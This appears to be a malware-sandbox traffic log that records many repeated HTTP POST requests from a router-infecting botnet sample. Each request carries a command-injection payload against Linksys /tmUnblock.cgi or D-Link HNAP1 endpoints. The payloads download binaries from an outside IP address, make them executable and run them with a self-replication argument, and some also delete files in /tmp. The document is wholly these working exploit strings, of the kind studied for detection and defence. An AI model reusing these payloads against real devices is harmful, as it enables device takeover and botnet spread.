Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
